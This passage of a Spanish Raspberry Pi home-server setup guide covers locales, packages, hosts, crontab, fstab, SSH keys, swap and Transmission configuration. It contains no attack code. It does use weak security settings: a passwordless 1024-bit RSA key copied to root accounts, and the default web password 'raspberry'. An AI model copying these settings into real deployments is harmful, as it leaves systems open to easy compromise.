&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">export&lt;/span> &lt;span class="nv">LANG&lt;/span>&lt;span class="o">=&lt;/span>en_US.UTF-8
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">export&lt;/span> &lt;span class="nv">LC_ALL&lt;/span>&lt;span class="o">=&lt;/span>en_US.UTF-8
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dpkg-reconfigure locales
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo locale-gen en_US.UTF-8
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;blockquote>
&lt;p>Normalmente las que suelen estar vacías son: LANGUAGE y LC_ALL.&lt;/p>
&lt;/blockquote>
&lt;p>Una vez que ya tenemos configurados correctamente los locales podemos actualizar el repositorio, los paquetes y el firmware con los comandos:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo apt update &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> sudo apt dist-upgrade -y
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo reboot
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Reinicio recomendable&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#sudo rpi-update # no recomendable&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo reboot
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>export LC_ALL=C.UTF-8 ## IMPORTANTE PARA QUE FUNCIONE descomprime_rar.py&lt;/p>
&lt;h2 id="configuración-inicial">Configuración inicial&lt;/h2>
&lt;p>Una vez que esto todo el sistema actualizado procedemos a ejecutar el comando y a ir nivel a nivel realizando todas las configuraciones de la Rasperry:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo raspi-config
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;ol>
&lt;li>
&lt;p>Change User Password (Change password for the &amp;lsquo;pi&amp;rsquo; user)&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Network Options (Configure network settings)
N1 Hostname
N2 Wi-Fi
N3 Network interfaces names (disable predicrable network interfaces)&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Boot Options (Configure options for start-up)&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Localisation Options (Set up language and regional settings to match your location)
I1 Change Locale
en_US.UTF-8 UTF-8
Default en_US.UTF-8
I2 Change Timezone
Europe &amp;gt; Madrid
I3 Change Keyborad Layaout
I4 Change Wi-fi Country&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Interfacing Options
Deshabilitar todo menos SSH
P2 SSH habilitar&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Advanced Options (Configure advanced settings)
A1 Expand Filesystem (Ensures that all of the SD card storage is available to the OS)&lt;/p>
&lt;/li>
&lt;/ol>
&lt;h2 id="instalación-de-paquetes">Instalación de paquetes&lt;/h2>
&lt;p>Los paquetes que vamos a necesitar siempre son los siguientes:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo apt install -y vim encfs rsync zsh git python3 python3-pip python3-dev trash-cli screen gcc make &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> cmake sshfs expect smbclient tar tcpdump htop build-essential wget curl tmux raspberrypi-kernel &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> raspberrypi-kernel-headers atop
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>En caso de instalar todos los servicios, necesitaremos los paquetes:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo apt install -y samba transmission-daemon transmission-cli transmission-common wakeonlan vsftpd apache2 apache2-utils libapache2-mod-perl2 par2 perl zlib1g zlib1g-dev rrdtool perl-doc libarchive-zip-perl libfile-listing-perl libxml-rss-perl libcgi-session-perl libacl1-dev pwgen libapache2-mod-php mariadb-server mariadb-client openssl php php-imagick php-common php-curl php-gd php-imap php-intl php-json php-mbstring php-mysql php-ssh2 php-xml php-zip php-apcu bzip2 jq inetutils-ping php-smbclient coreutils php-ldap mlocate php-apcu php-http-request
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="configuración-zsh">Configuración zsh&lt;/h2>
&lt;p>Para la configuración del entorno con &lt;em>zsh&lt;/em> vamos a utilizar el script que he desarrollado que automatiza todo el proceso:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">git clone https://github.com/procamora/custom_workspace
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">cd custom_workspace
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">./custom_workspace.sh zsh
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="fichero-hosts">Fichero hosts&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">git clone https://github.com/StevenBlack/hosts
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">pip3 install --user -r hosts/requirements.txt
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">echo&lt;/span> &lt;span class="s2">&amp;#34;# Custom host records are listed here.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">192.168.1.1 router
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">192.168.1.71 rp4 backuppc.procamora.com owncloud.procamora.com procamora.myvnc.com
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">192.168.1.72 zero
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">192.168.1.73 rp3
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">192.168.1.74 win10
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">192.168.1.75 xiaomi
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">192.168.1.76 huawei
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">192.168.1.77 mia1
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">192.168.1.78 4770k
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"># End of custom host records.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&amp;#34;&lt;/span> &amp;gt; hosts/myhosts
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">python3 hosts/testUpdateHostsFile.py
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo python3 hosts/updateHostsFile.py --auto --replace &amp;gt; /dev/null &lt;span class="c1"># Tarda unos 15 segundos&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="fichero-crontab">Fichero crontab&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;span class="lnt">22
&lt;/span>&lt;span class="lnt">23
&lt;/span>&lt;span class="lnt">24
&lt;/span>&lt;span class="lnt">25
&lt;/span>&lt;span class="lnt">26
&lt;/span>&lt;span class="lnt">27
&lt;/span>&lt;span class="lnt">28
&lt;/span>&lt;span class="lnt">29
&lt;/span>&lt;span class="lnt">30
&lt;/span>&lt;span class="lnt">31
&lt;/span>&lt;span class="lnt">32
&lt;/span>&lt;span class="lnt">33
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl"># Example of job definition:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"># .---------------- minute (0 - 59)
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"># | .------------- hour (0 - 23)
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"># | | .---------- day of month (1 - 31)
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"># | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"># | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"># | | | | |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"># * * * * * user command to be executed
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">#GESTOR SERIES
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">*/20 * * * * pi cd /home/pi/series_manager/ &amp;amp;&amp;amp; python3 /home/pi/series_manager/app/utils/descarga_automatica_cli.py &amp;gt;&amp;gt; /tmp/descargas.log 2&amp;gt;&amp;amp;1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0 * * * * pi cd /home/pi/series_manager/ &amp;amp;&amp;amp; python3 /home/pi/series_manager/app/utils/descomprime_rar.py &amp;gt;&amp;gt; /tmp/unrar.log 2&amp;gt;&amp;amp;1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"># Mantenimiento
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">*/15 * * * * pi find /home/pi/scripts/ -type f ! -executable -regex &amp;#39;.*\.\(sh\|py\|exp\)&amp;#39; -exec chmod u+x {} \;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">30 22 * * * pi cd /home/pi/decrypt_gdrive/ &amp;amp;&amp;amp; bash rsync_rp3.sh &amp;gt; /tmp/rsync.log 2&amp;gt;&amp;amp;1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">#0 * * * * pi cd /home/pi/scripts &amp;amp;&amp;amp; python3 /home/pi/scripts/insync.py &amp;gt;&amp;gt; /tmp/insync.log 2&amp;gt;&amp;amp;1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">#*/15 * * * * pi sudo find /media/HDD/* -type d -prune -print | grep -v backup | sed -r &amp;#39;s/\s+/\\ /g&amp;#39; | xargs chmod 755 -R
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">#*/15 * * * * pi sudo find /media/HDD/* -type d -prune -print | grep -v backup | sed -r &amp;#39;s/\s+/\\ /g&amp;#39; | xargs chown pi:pi -R
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">#DOMOTICA
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">#20 8 * * * pi /home/pi/tg/bin/telegram-cli -e &amp;#39;msg domotica_pablo &amp;#34;/modo_automatico on 23&amp;#34;&amp;#39; &amp;gt;/tmp/tg_on.log 2&amp;gt;/tmp/tg_on_err.log
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">#30 8 * * * pi /home/pi/tg/bin/telegram-cli -e &amp;#39;msg domotica_pablo &amp;#34;/set_rele off&amp;#34;&amp;#39; &amp;gt;/tmp/tg_off.log 2&amp;gt;/tmp/tg_on_err.log
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">##WIKI PERSONAL
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">*/15 * * * * pi cd /home/pi/wiki/ &amp;amp;&amp;amp; bash pushgit.sh 1 &amp;gt;&amp;gt; /tmp/wiki_cont 2&amp;gt;&amp;amp;1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"># Bots
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">#* * * * * root sudo systemctl -q is-active mio_bot_recordatorios.service &amp;amp;&amp;amp; echo YES || sudo systemctl restart mio_bot_recordatorios.service
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">* * * * * root sudo systemctl -q is-active mio_bot_common_ports.service &amp;amp;&amp;amp; echo YES || sudo systemctl restart mio_bot_common_ports.service
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">* * * * * root sudo systemctl -q is-active mio_bot_dictionary.service &amp;amp;&amp;amp; echo YES || sudo systemctl restart mio_bot_dictionary.service
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">* * * * * root sudo systemctl -q is-active mio_bot_minitrue.service &amp;amp;&amp;amp; echo YES || sudo systemctl restart mio_bot_minitrue.service
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">* * * * * root sudo systemctl -q is-active mio_bot_series_manager.service &amp;amp;&amp;amp; echo YES || sudo systemctl restart mio_bot_series_manager.service
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="fichero-fstab">Fichero fstab&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="nb">echo&lt;/span> &lt;span class="s2">&amp;#34;UUID=1eb2f592-bee9-462d-9ac5-263870d2c04a /media/HDD btrfs defaults 0 0&amp;#34;&lt;/span> &lt;span class="p">|&lt;/span> sudo tee -a /etc/fstab
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo mkdir -p /media/HDD
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo mount -a
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="gestión-de-claves-privadas">Gestión de claves privadas&lt;/h2>
&lt;p>Para dejar el directorio SSH con los permisos adecuados ejecutamos:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="nb">eval&lt;/span> &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="k">$(&lt;/span>ssh-agent -s&lt;span class="k">)&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">mkdir -p ~/.ssh
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">chmod &lt;span class="m">700&lt;/span> ~/.ssh
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">touch ~/.ssh/authorized_keys
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">chmod &lt;span class="m">600&lt;/span> ~/.ssh/authorized_keys &lt;span class="c1"># le quitamos los permisos necesarios&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>En caso de querer generar un certificado SSH para servicios y sin contraseña podemos ejecutar los siguientes comandos, pero es mejor usar el que ya tengo generado y que esta añadido en el resto de hosts.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">ssh-keygen -t rsa -b &lt;span class="m">1024&lt;/span> -f ~/.ssh/services -N &lt;span class="s2">&amp;#34;&amp;#34;&lt;/span> -q -C &lt;span class="s2">&amp;#34;key used for automation service connections&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">ssh-add ~/.ssh/services &lt;span class="c1"># ponemos la contraseña y ya tenemos cargada la clave&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">ssh-add -l
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">ssh-copy-id -i ~/.ssh/services root@zero
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">ssh-copy-id -i ~/.ssh/services pi@zero
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">ssh-copy-id -i ~/.ssh/services root@4770k
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">ssh-copy-id -i ~/.ssh/services procamora@4770k
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="swap">Swap&lt;/h2>
&lt;p>Raspberry OS suele venir configurado con 100Mb de swap, algo que en ciertas ocasiones en insuficiente, podemos aumentarlo a 2Gb con los siguientes comandos:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">cat /proc/meminfo &lt;span class="p">|&lt;/span> grep Swap
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo sed -i &lt;span class="s2">&amp;#34;s/CONF_SWAPSIZE=[[:digit:]]\+/CONF_SWAPSIZE=2048/&amp;#34;&lt;/span> /etc/dphys-swapfile
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dphys-swapfile setup
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dphys-swapfile swapon
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">cat /proc/meminfo &lt;span class="p">|&lt;/span> grep Swap
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="transmission">Transmission&lt;/h2>
&lt;p>La instalación de Transmission requiere de algo mas de configuración a nivel de permisos, ya que si se dejan los permisos por defecto, a la hora de acceder por sshfs con el usuario pi nos encontraremos que no tenemos que no tenemos permisos para borrar las descargas.&lt;/p>
&lt;p>El primero paso sera instalar el servicio y habilitar para que se inicie con el sistema, una vez hecho esto lo paramos y lo configuramos. Es muy importante pararlo, ya que si se modifica estando encendido el fichero modificado se borrara y se mantendrá el fichero original.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo apt-get install transmission-daemon transmission-cli
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo systemctl &lt;span class="nb">enable&lt;/span> transmission-daemon.service
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo systemctl stop transmission-daemon.service
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Una vez parado el servicio, ya podemos modificar el fichero &lt;em>/etc/transmission-daemon/settings.json&lt;/em>. A continuación pongo mi fichero de configuración con las partes mas relevantes:&lt;/p>
&lt;ul>
&lt;li>&lt;em>&amp;ldquo;rpc-username&amp;rdquo;: &amp;ldquo;pi&amp;rdquo;&lt;/em>: El usuario para acceder por la interfaz web.&lt;/li>
&lt;li>&lt;em>&amp;ldquo;rpc-password&amp;rdquo;: &amp;ldquo;raspberry&amp;rdquo;&lt;/em>: La contraseña en texto plano para acceder, una vez que se inicie se pondrá su SHA1.&lt;/li>
&lt;li>&lt;em>&amp;ldquo;watch-dir-enabled&amp;rdquo;: true&lt;/em>: Habilitar que se añaden automáticamente todos los torrent que se en encuentren en un direcotrio&lt;/li>
&lt;li>&lt;em>&amp;ldquo;watch-dir&amp;rdquo;: &amp;ldquo;/home/pi/Downloads&amp;rdquo;&lt;/em>: Directorio desde donde añaden automáticamente todos los torrents.&lt;/li>
&lt;li>&lt;em>&amp;ldquo;download-dir&amp;rdquo;: &amp;ldquo;/media/HDD&amp;rdquo;&lt;/em>: Directorio donde se guardan las descargas una vez completadas.&lt;/li>
&lt;li>&lt;em>&amp;ldquo;incomplete-dir&amp;rdquo;: &amp;ldquo;/media/HDD/tmp&amp;rdquo;&lt;/em>: Directorio donde se guarnan las descargas durante el proceso de descarga.&lt;/li>
&lt;li>&lt;em>&amp;ldquo;umask&amp;rdquo;: 2&lt;/em>: Para que los permisos en las descargas sean 775.&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;span class="lnt">22
&lt;/span>&lt;span class="lnt">23
&lt;/span>&lt;span class="lnt">24
&lt;/span>&lt;span class="lnt">25
&lt;/span>&lt;span class="lnt">26
&lt;/span>&lt;span class="lnt">27
&lt;/span>&lt;span class="lnt">28
&lt;/span>&lt;span class="lnt">29
&lt;/span>&lt;span class="lnt">30
&lt;/span>&lt;span class="lnt">31
&lt;/span>&lt;span class="lnt">32
&lt;/span>&lt;span class="lnt">33
&lt;/span>&lt;span class="lnt">34
&lt;/span>&lt;span class="lnt">35
&lt;/span>&lt;span class="lnt">36
&lt;/span>&lt;span class="lnt">37
&lt;/span>&lt;span class="lnt">38
&lt;/span>&lt;span class="lnt">39
&lt;/span>&lt;span class="lnt">40
&lt;/span>&lt;span class="lnt">41
&lt;/span>&lt;span class="lnt">42
&lt;/span>&lt;span class="lnt">43
&lt;/span>&lt;span class="lnt">44
&lt;/span>&lt;span class="lnt">45
&lt;/span>&lt;span class="lnt">46
&lt;/span>&lt;span class="lnt">47
